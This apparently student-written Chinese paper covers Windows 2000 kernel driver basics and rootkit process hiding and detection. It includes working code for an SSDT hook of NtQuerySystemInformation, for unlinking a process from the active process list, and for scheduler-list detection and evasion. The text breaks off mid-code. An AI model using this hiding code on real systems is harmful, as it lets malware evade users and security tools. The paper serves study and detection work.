前言:本站為你精心整理了內核級進程技術范文,希望能為你的創作提供參考價值,我們的客服老師可以幫助你提供個性化的參考范文,歡迎咨詢。
論文關鍵字:內核攔截活動進程鏈表系統服務派遣表線程調度鏈驅動程序簡介
論文摘要:信息對抗是目前計算機發展的一個重要的方向,為了更好的防御,必須去深入的了解敵人進攻的招式。信息對抗促使信息技術飛速的發展。下面我選取了信息對抗技術的中一個很小一角關于windows內核級病毒隱藏技術和反病毒偵測技術作為議題詳細討論。
1.為什么選驅動程序
驅動程序是運行在系統信任的Ring0環境下在代碼,她擁有對系統任何軟件和硬件的訪問權限。這意味著內核驅動可以訪問所有的系統資源,可以讀取所有的內存空間,而且也被允許執行CPU的特權指令,如,讀取CPU控制寄存器的當前值等。而處于用戶模式下的程序如果試圖從內核空間中讀取一個字節或者試圖執行像MOVEAX,CR3這樣的匯編指令都會被立即終止掉。不過,這種強大的底線是驅動程序的一個很小的錯誤就會讓整個系統崩潰。所以對隱藏和反隱藏技術來說都提供了一個極好的環境。但是又對攻擊者和反查殺者提出了更高的技術要求。
2.入口例程DriverEntry
DriverEntry是內核模式驅動程序主入口點常用的名字,她的作用和main,WinMain,是一樣的。
extern"C"NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{...}
DriverEntry的第一個參數是一個指針,指向一個剛被初始化的驅動程序對象,該對象就代表你的驅動程序,DriverEntry的第二個參數是設備服務鍵的鍵名。DriverEntry函數返回一個NTSTATUS值。NTSTATUS實際就是一個長整型,但你應該使用NTSTATUS定義該函數的返回值而不是LONG,這樣代碼的可讀性會更好。大部分內核模式支持例程都返回NTSTATUS狀態代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。
DriverEntry的作用主要就是創建設備對象,建立設備對象的符號鏈接,設置好各個類型的回調函數等。
例如:
extern"C"
NTSTATUS
DriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{
DriverObject->DriverUnload=DriverUnload;<--1
DriverObject->DriverExtension->AddDevice=AddDevice;
DriverObject->DriverStartIo=StartIo;
DriverObject->MajorFunction[IRP_MJ_PNP]=DispatchPnp;<--2
DriverObject->MajorFunction[IRP_MJ_POWER]=DispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL]=DispatchWmi;
...
}
在WDM中通過設置AddDevice回調函數來創建設備對象。在NT驅動中在DriverEntry例程中創建設備對象和符號鏈接。
例如:
RtlInitUnicodeString(&deviceNameUnicodeString,deviceNameBuffer);//初始化設備名字
//創建設備
ntStatus=IoCreateDevice(DriverObject,
0,
&deviceNameUnicodeString,
##DeviceId,
0,
FALSE,
&deviceObject
);
if(NT_SUCCESS(ntStatus)){
RtlInitUnicodeString(&deviceLinkUnicodeString,deviceLinkBuffer);//初始化符號鏈接名字
//創建符號鏈接
ntStatus=IoCreateSymbolicLink(&deviceLinkUnicodeString,&deviceNameUnicodeString);
if(!NT_SUCCESS(ntStatus)){
IoDeleteDevice(deviceObject);//如果創建符號鏈接失敗,刪除設備
returnntStatus;
}
}
建立符號鏈接的作用就是暴露一個給應用程序的接口,應用程序可以通過CreateFileAPI打開鏈接符號,得到一個語柄,和我們的驅動程序進行交互操作。
3.Unload例程
雖然各個驅動程序的Unload例程不盡相同,但是它大致執行下列工作:
釋放屬于驅動程序的任何硬件。
從Win32的名字空間移除符號連接名。
這個動作可以調用IoDeleteSymbolicLink來實現。
使用IoDeleteDevice移除設備對象。
釋放驅動程序持有的任何緩沖池等。
VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)
{
PDEVICE_OBJECTpNextObj;
//循環每一個驅動過程控制的設備
pNextObj=pDriverObject->DeviceObject;
while(pNextObj!=NULL)
{
//從設備對象中取出設備Extension
PDEVICE_EXTENSIONpDevExt=(PDEVICE_EXTENSION)extObj->DeviceExtension;
//取出符號連接名
UNICODE_STRINGpLinkName=pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName);//刪除符號連接名
IoDeleteDevice(pNextObj);//刪除設備
pNextObj=pNextObj->NextDevice;
}
}
4.派遣例程
Win2000的I/O請求是包驅動的,當一個I/O請求開始,I/O管理器先創建一個IRP去跟蹤這個請求,另外,它存儲一個功能代碼在IRP的I/O堆棧區的MajorField域中來唯一的標識請求的類型。MajorField域是被I/O管理器用來索引驅動程序對象的MajorFunction表,這個表包含一個指向一個特殊I/O請求的派遣例程的功能指針,如果驅動程序不支持這個請求,MajorFunction表就會指向I/O管理器函數_IopInvalidDeviceRequest,該函數返回一個錯誤給原始的調用者。驅動程序的作者有責任提供所有的驅動程序支持的派遣例程。所有的驅動程序必須支持IRP_MJ_CREATE功能代碼,因為這個功能代碼是用來響應Win32用戶模式的CreateFile調用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設備的句柄,類似的,驅動程序必須支持IRP_MJ_CLOSE功能代碼,因為它用來響應Win32用戶模式的CloseHandle調用。順便提一下,系統自動調用CloseHandle函數,因為在程序退出的時候,所有的句柄都沒有被關閉。
staticNTSTATUSMydrvDispatch(INPDEVICE_OBJECTDeviceObject,INPIRPIrp)
{
NTSTATUSstatus;
PIO_STACK_LOCATIONirpSp;
//得到當前IRP(I/O請求包)
irpSp=IoGetCurrentIrpStackLocation(Irp);
switch(irpSp->MajorFunction)
{
caseIRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information=0L;
break;
caseIRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information=0L;
break;
}
IoCompleteRequest(Irp,0);
returnSTATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一個標準的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴展的I/O請求,使用用戶模式的DeviceIoControl函數來調用,I/O管理器創建一個IRP,這個IRP的MajorFunction和IoControlCode是被DeviceIoControl函數指定其內容。傳遞給驅動程序的IOCTL遵循一個特殊的結構,它有32-bit大小,DDK包含一個方便的產生IOCTL值的機制的宏,CTL_CODE??梢允褂肅TL_CODE宏來定義我們自己的IOCTL。
例如:
#defineIOCTL_MISSLEDEVICE_AIMCTL_CODE\
(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ACCESS_ANY)
NTSTATUSDispatchIoControl(INPDEVICE_OBJECTpDO,INPIRPpIrp)
{
NTSTATUSstatus=STATUS_SUCCESS;
PDEVICE_EXTENSIONpDE;
PVOIDuserBuffer;
ULONGinSize;
ULONGoutSize;
ULONGcontrolCode;//IOCTL請求代碼
PIO_STACK_LOCATIONpIrpStack;//堆棧區域存儲了用戶緩沖區信息
pIrpStack=IoGetCurrentIrpStackLocation(pIrp);
//取出IOCTL請求代碼
controlCode=pIrpStack->Parameters.DeviceIoControl.IoControlCode;
//得到請求緩沖區大小
inSize=pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
OutSize=pIrpStack->Parameters.DeivceIoControl.OutputBufferLength;
//現在執行二次派遣
switch(controlCode)
{
caseIOCTL_MISSLEDEVICEAIM:
......
caseIOCTL_DEVICE_LAUNCH:
......
default://驅動程序收到了未被承認的控制代碼
status=STATUS_INVALID_DEVICE_REQUEST;
}
pIrp->IoStatus.Information=0;//數據沒有傳輸
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
returnstatus;
}
5.驅動程序的安裝
SC管理器(即服務控制管理器)可以控制服務和驅動程序。
加載和運行一個服務需要執行的典型操作步驟:
1.調用OpenSCManager()以獲取一個管理器句柄
2.調用CreateService()來向系統中添加一個服務
3.調用StartService()來運行一個服務
4.調用CloseServiceHandle()來釋放管理器或服務句柄
BOOLInstallDriver()
{
SC_HANDLEhSCManager=NULL;
hSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager==NULL)
{
fprintf(stderr,"OpenSCManager()failed.--err:%d\n",GetLastError());
returnFALSE;
}
SC_HANDLEschService;
schService=CreateService(hSCManager,//SCManagerdatabase
"MyDriver",//nameofservice
"MyDriver",//nametodisplay
SERVICE_ALL_ACCESS,//desiredaccess
SERVICE_KERNEL_DRIVER,//servicetype
SERVICE_AUTO_START,//starttype
SERVICE_ERROR_NORMAL,//errorcontroltype
DriverPath,//service’sbinary
NULL,//noloadorderinggroup
NULL,//notagidentifier
NULL,//nodependencies
NULL,//LocalSystemaccount
NULL//nopassword
);
if(schService==NULL)
{
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
printf("Servicehasalreadyinstalled!\n");
}
printf("Installdriverfalse!");
returnFALSE;
}
BOOLnRet=StartService(schService,0,NULL);
if(!nRet)
{
if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("Serviceisalreadyrunning!\n");
returnFALSE;}
}
CloseServiceHandle(schService);
CloseServiceHandle(hSCManager);
returnTRUE;
}
以上對驅動程序大致框架做了一個非常簡單的介紹,這僅僅是驅動程序中的一個”HelloWorld!”。驅動程序是相當復雜的,由于我們只是利用驅動程序的特權,對windows內核進行修改,所以就不對驅動驅動程序進行深入討論了。
通過HookSSDT(SystemServiceDispathTable)隱藏進程
1.原理介紹:
Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應于一個數據結構,定義如下:
typedefstructSystemServiceDescriptorTable
{
UINT*ServiceTableBase;
UINT*ServiceCounterTableBase;
UINTNumberOfService;
UCHAR*ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows2000sp4中NumberOfService的數目是248個。
我們的任務管理器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:
•PSAPI
–EnumProcesses()
•ToolHelp32
–Process32First()
-Process32Next()
來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。
2.Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。
OldFuncAddress=KeServiceDescriptorTable->ServiceCounterTableBase[0x97];
KeServiceDescriptorTable->ServiceCounterTableBase[0x97]=NewFuncAddress;
在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《UndocumentNt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl導出的ZwQuerySystemInformation中包含有索引號的硬編碼:
kd>uZwQuerySystemInformation
804011aab897000000moveax,0x97
804011af8d542404leaedx,[esp+0x4]
804011b3cd2eint2e
804011b5c21000ret0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:
ID=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]=HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數據進行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
INULONGSystemInformationClass,//查詢系統服務類型
INPVOIDSystemInformation,//接收系統信息緩沖區
INULONGSystemInformationLength,//接收信息緩沖區大小OUTPULONGReturnLength);//實際接收到的大小
NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等于5的時候是在進行進程的查詢。此時返回的SystemInformation是一個_SYSTEM_PROCESSES結構。
struct_SYSTEM_PROCESSES
{
ULONGNextEntryDelta;//下一個進程信息的偏移量,如果為0表示無一個進程信息
ULONGThreadCount;//線程數量
ULONGReserved[6];//
LARGE_INTEGERCreateTime;//創建進程的時間
LARGE_INTEGERUserTime;//進程中所有線程在用戶模式運行時間的總和
LARGE_INTEGERKernelTime;//進程中所有線程在內核模式運行時間的總和
UNICODE_STRINGProcessName;//進程的名字
KPRIORITYBasePriority;//線程的缺省優先級
ULONGProcessId;//進程ID號
ULONGInheritedFromProcessId;//繼承語柄的進程ID號
ULONGHandleCount;//進程打開的語柄數量
ULONGReserved2[2];//
VM_COUNTERSVmCounters;//虛擬內存的使用情況統計
IO_COUNTERSIoCounters;//IO操作的統計,OnlyFor2000
struct_SYSTEM_THREADSThreads[1];//描述進程中各線程的數組
};
當NextEntryDelta域等于0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。
4.核心實現
//系統服務表入口地址
externPServiceDescriptorTableEntryKeServiceDescriptorTable;
NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{
……
__asm{
moveax,cr0
movCR0VALUE,eax
andeax,0fffeffffh//DisableWriteProtect
movcr0,eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]);
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
moveax,CR0VALUE
movcr0,eax
}
……
returnSTATUS_SUCCESS;
}
VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)
{
……
//UnHook恢復系統服務的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=RealZwQuerySystemInformation;
……
}
NTSTATUSHookFunc(
INULONGSystemInformationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength)
{
NTSTATUSrc;
struct_SYSTEM_PROCESSES*curr;
//保存上一個進程信息的指針
struct_SYSTEM_PROCESSES*prev=NULL;
//調用原函數
rc=(RealZwQuerySystemInformation)(
SystemInformationClass,
SystemInformation,
SystemInformationLength,ReturnLength);
if(NT_SUCCESS(rc))
{
if(5==SystemInformationClass)
//如果系統查詢類型是SystemProcessesAndThreadsInformation
{
curr=(struct_SYSTEM_PROCESSES*)SystemInformation;
//加第一個偏移量得到第一個system進程的信息首地址
if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name,&curr->ProcessName,1)==0)
{
//找到要隱藏的進程
if(prev)
{
if(curr->NextEntryDelta)
{
//要刪除的信息在中間
prev->NextEntryDelta+=curr->NextEntryDelta;
}
else
{
//要刪除的信息在末尾
prev->NextEntryDelta=0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要刪除的信息在開頭
(char*)SystemInformation+=curr->NextEntryDelta;
}
else
{
SystemInformation=NULL;
}
}
//如果鏈下一個還有其他的進程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);else
{
curr=NULL;
break;
}
}
if(curr!=NULL)
{
//把當前指針設置成前一個指針,當前指針后移
prev=curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
elsecurr=NULL;
}
}//endwhile(curr)
}
}
returnrc;
}
通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,&BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。
枚舉和修改活動進程鏈表來檢測和隱藏進程
1.介紹EPROCESS塊(進程執行塊)
每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。
2.查看EPROCESS結構
kd>!processfields
!processfields
EPROCESSstructureoffsets:
Pcb:0x0
ExitStatus:0x6c
LockEvent:0x70
LockCount:0x80
CreateTime:0x88
ExitTime:0x90
LockOwner:0x98
UniqueProcessId:0x9c
ActiveProcessLinks:0xa0
QuotaPeakPoolUsage[0]:0xa8
QuotaPoolUsage[0]:0xb0
PagefileUsage:0xb8
CommitCharge:0xbc
PeakPagefileUsage:0xc0
PeakVirtualSize:0xc4
VirtualSize:0xc8
Vm:0xd0
DebugPort:0x120
ExceptionPort:0x124
ObjectTable:0x128
Token:0x12c
WorkingSetLock:0x130
WorkingSetPage:0x150
ProcessOutswapEnabled:0x154
ProcessOutswapped:0x155
AddressSpaceInitialized:0x156
AddressSpaceDeleted:0x157
AddressCreationLock:0x158
ForkInProgress:0x17c
VmOperation:0x180
VmOperationEvent:0x184
PageDirectoryPte:0x1f0
LastFaultCount:0x18c
VadRoot:0x194
VadHint:0x198
CloneRoot:0x19c
NumberOfPrivatePages:0x1a0
NumberOfLockedPages:0x1a4
ForkWasSuccessful:0x182
ExitProcessCalled:0x1aa
CreateProcessReported:0x1ab
SectionHandle:0x1ac
Peb:0x1b0
SectionBaseAddress:0x1b4
QuotaBlock:0x1b8
LastThreadExitStatus:0x1bc
WorkingSetWatch:0x1c0
InheritedFromUniqueProcessId:0x1c8
GrantedAccess:0x1cc
DefaultHardErrorProcessing0x1d0
LdtInformation:0x1d4
VadFreeHint:0x1d8
VdmObjects:0x1dc
DeviceMap:0x1e0
ImageFileName[0]:0x1fc
VmTrimFaultValue:0x20c
Win32Process:0x214
Win32WindowStation:0x1c4
3.什么是活動進程鏈表
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。在PspCreateProcess內核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。
在PspExitProcess內核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。
4.進程枚舉檢測HookSSDT隱藏的進程。
事實上NactiveAPIZwQuerySystemInformation對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把HookSSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為:0x8046e460.(在2000sp4中得到的值)
kd>ddPsActiveProcessHeadL2
ddPsActiveProcessHeadL2
8046e46081829780ff2f4c80
PLIST_ENTRYPsActiveProcessHead=(PLIST_ENTRY)0x8046e460;
voidDisplayList()
{
PLIST_ENTRYList=PsActiveProcessHead->Blink;
while(List!=PsActiveProcessHead)
{
char*name=((char*)List-0xa0)+0x1fc;
DbgPrint("name=%s\n",name);
List=List->Blink;
}
}
首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,并且在Dbgview中打印出來。利用HookSSDT隱藏的進程很容易就被查出來了。
5.解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。
ntoskrnl.exe導出的PsInitialSystemProcess是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd>ddPsInitialSystemProcessL1
ddPsInitialSystemProcessL1
8046e450818296e0
kd>!process818296e00
!process818296e00
PROCESS818296e0SessionId:0Cid:0008Peb:00000000ParentCid:0000
DirBase:00030000ObjectTable:8185d148TableSize:141.
Image:System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd>dd818296e0+0xa0L2
dd818296e0+0xa0L2
81829780814d1a008046e460
上面又可以看出SystemEPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.
6.刪除活動進程鏈表實現進程隱藏
由于Windows是基于線程調度的。所以如果我們把要隱藏的進程的EPROCESS塊從活動進程鏈上摘除,就能有效的繞過基于通過活動進程鏈表檢測進程的防御系統。因為是以線程為基本單位進行調度,所以摘除過后并不影響隱藏進程的線程調度。
voidDelProcessList()
{
PLIST_ENTRYList=PsActiveProcessHead->Blink;
while(List!=PsActiveProcessHead)
{
char*name=((char*)List-0xa0)+0x1fc;
if(!_stricmp(name,"winlogon.exe"))
{
DbgPrint("remove%s\n",name);
RemoveEntryList(List);
}
List=List->Blink;
}
}
首先和上面的程序一樣得到PsActiveProcessHead頭的后面第一個EPROCESS塊。然后和我們要隱藏的進程名字進行對比,如果不是指針延鏈下移動。如果是就把EPROCESS塊從活動進程鏈上摘除。一直到遍歷完一次活動進程的雙向鏈表。當摘除指定進程的EPROCESS塊后可以發現任務管理器里面的指定的進程消失了,然后又用上面的基于活動進程鏈表檢測進程的程序一樣的發現不到隱藏的進程。
基于線程調度鏈表的檢測和隱藏技術
1.什么是ETHREAD和KTHREAD塊
Windows2000是由執行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統空間,進程環境塊(TEB)除外。ETHREAD塊中的第一個結構體就是內核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內核需要訪問的信息。這些信息用于執行線程的調度和同步正在運行的線程。
kd>!kthread
struct_KTHREAD(sizeof=432)
+000struct_DISPATCHER_HEADERHeader
+010struct_LIST_ENTRYMutantListHead
+018void*InitialStack
+01cvoid*StackLimit
+020void*Teb
+024void*TlsArray
+028void*KernelStack
+02cbyteDebugActive
+02dbyteState
+02ebyteAlerted[2]
+030byteIopl
+031byteNpxState
+032charSaturation
+033charPriority
+034struct_KAPC_STATEApcState
+034struct_LIST_ENTRYApcListHead[2]
+044struct_KPROCESS*Process
+04cuint32ContextSwitches
+050int32WaitStatus
+054byteWaitIrql
+055charWaitMode
+056byteWaitNext
+057byteWaitReason
+058struct_KWAIT_BLOCK*WaitBlockList
+05cstruct_LIST_ENTRYWaitListEntry
+064uint32WaitTime
+068charBasePriority
+069byteDecrementCount
+06acharPriorityDecrement
+06bcharQuantum
+06cstruct_KWAIT_BLOCKWaitBlock[4]
+0ccvoid*LegoData
+0d0uint32KernelApcDisable
+0d4uint32UserAffinity
+0d8byteSystemAffinityActive
+0d9bytePowerState
+0dabyteNpxIrql
+0dbbytePad[1]
+0dcvoid*ServiceTable
+0e0struct_KQUEUE*Queue
+0e4uint32ApcQueueLock
+0e8struct_KTIMERTimer
+110struct_LIST_ENTRYQueueListEntry
+118uint32Affinity
+11cbytePreempted
+11dbyteProcessReadyQueue
+11ebyteKernelStackResident
+11fbyteNextProcessor
+120void*CallbackStack
+124void*Win32Thread
+128struct_KTRAP_FRAME*TrapFrame
+12cstruct_KAPC_STATE*ApcStatePointer[2]
+134charPreviousMode
+135byteEnableStackSwap
+136byteLargeStack
+137byteResourceIndex
+138uint32KernelTime
+13cuint32UserTime
+140struct_KAPC_STATESavedApcState
+158byteAlertable
+159byteApcStateIndex
+15abyteApcQueueable
+15bbyteAutoAlignment
+15cvoid*StackBase
+160struct_KAPCSuspendApc
+190struct_KSEMAPHORESuspendSemaphore
+1a4struct_LIST_ENTRYThreadListEntry
+1accharFreezeCount
+1adcharSuspendCount
+1aebyteIdealProcessor
+1afbyteDisableBoost
在偏移0x5c處有一個WaitListEntry成員,這個就是用來鏈接到線程調度鏈表的。在偏移0x34處有一個ApcState成員結構,在ApcState中的Process域就是指向當前線程關聯的進程的KPROCESS塊,由于KPROCESS塊是EPROCESS塊的第一個元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當前線程的進程的名字,ID號等。
2.線程調度
在windows系統中,線程調度主要分成三條主要的調度鏈表。分別是KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當線程獲得CPU執行的時候,系統分配一,,個時間片給線程,當發生一次時鐘中斷就從分配的時間片上減去一個時鐘中斷的值,如果這個值小于零了也就是時間片用完了,那么這個線程根據其優先級載入到相應的就緒隊列末尾。KiDispatcherReadyListHead是一個數組鏈的頭部,在windows2000中它包含有32個隊列,分別對應線程的32個優先級。如果線程因為同步,或者是對外設請求,那么阻塞線程,讓出CPU的所有權,加如到阻塞隊列里面去。CPU從就緒隊列里面,按照優先權的前后,重新調度新的線程的執行。當阻塞隊列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊列里面等待執行。
3.通過線程調度鏈表進行隱藏進程的檢測
voidDisplayList(PLIST_ENTRYListHead)
{
PLIST_ENTRYList=ListHead->Flink;
if(List==ListHead)
{
//DbgPrint("return\n");
return;
}
PLIST_ENTRYNextList=List;
while(NextList!=ListHead)
{
PKTHREADThread=ONTAINING_RECORD(NextList,KTHREAD,WaitListEntry);
PKPROCESSProcess=Thread->ApcState.Process;
PEPROCESSpEprocess=(PEPROCESS)Process;
DbgPrint("ImageFileName=%s\n",pEprocess->ImageFileName);
NextList=NextList->Flink;
}
}
以上是對一條鏈進行進程枚舉。所以我們必須找到KiWaitInListHeadKiWaitOutListheadKiDispatcherReadyListHead的地址,由于他們都沒有被ntoskrnl.exe導出來,所以只有通過硬編碼的辦法給他們賦值。通過內核調試器,能找到(windows2000sp4):
PLIST_ENTRYKiWaitInListHead=(PLIST_ENTRY)0x80482258;
PLIST_ENTRYKiDispatcherReadyListHead=(PLIST_ENTRY)0x804822e0;
PLIST_ENTRYKiWaitOutListhead=(PLIST_ENTRY)0x80482808;
遍歷所有的線程調度鏈表。
for(i=0;i<32;i++)
{
DisplayList(KiDispatcherReadyListHead+i);
}
DisplayList(KiWaitInListHead);
DisplayList(KiWaitOutListhead);
通過上面的那一小段核心代碼就能把刪除活動進程鏈表的隱藏進程給查出來。也可以改寫一個友好一點的驅動,加入IOCTL,得到的進程信息把打印在DbgView中把它返回給Ring3的應用程序,然后應用程序對返回的數據進行處理,和Ring3級由PSAPI得到的進程對比,然后判斷是不是有隱藏的進程。
4.繞過內核調度鏈表隱藏進程。
Xfocus上SoBeIt提出了繞過內核調度鏈表進程檢測。詳情可以參見原文:
/articles/200404/693.html
由于現在的基于線程調度的檢測系統都是通過內核調試器得硬編碼來枚舉所有的調度線程的,所以我們完全可以自己創造一個那三個調度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由于線程調度的時候會用到KiFindReadyThread等內核API,在KiFindReadyThread里面又會去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。
kd>uKiFindReadyThread+0x48
nt!KiFindReadyThread+0x48:
804313db8d34d5e0224880leaesi,[nt!KiDispatcherReadyListHead(804822e0)+edx*8]
很明顯我們可以在機器碼中看到e0224880,由于它是在內存中以byte序列顯示的轉換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個鏈頭。使其系統以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個鏈表頭的還有一些內核API,所以必須找到他們在機器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統調度就會出錯.系統中用到KiWaitInListHead的例程:KeWaitForSingleObject、KeWaitForMultipleObject、KeDelayExecutionThread、KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。
申請新的表頭空間:
pNewKiWaitInListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead=(PLIST_ENTRY)ExAllocatePool\
(NonPagedPool,32*sizeof(LIST_ENTRY));
下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。
新調度鏈表的表頭替換:
InitializeListHead(pNewKiWaitInListHead);
把原來的系統鏈表頭摘除,把新的接上去:
pFirstEntry=pKiWaitInListHead->Flink;
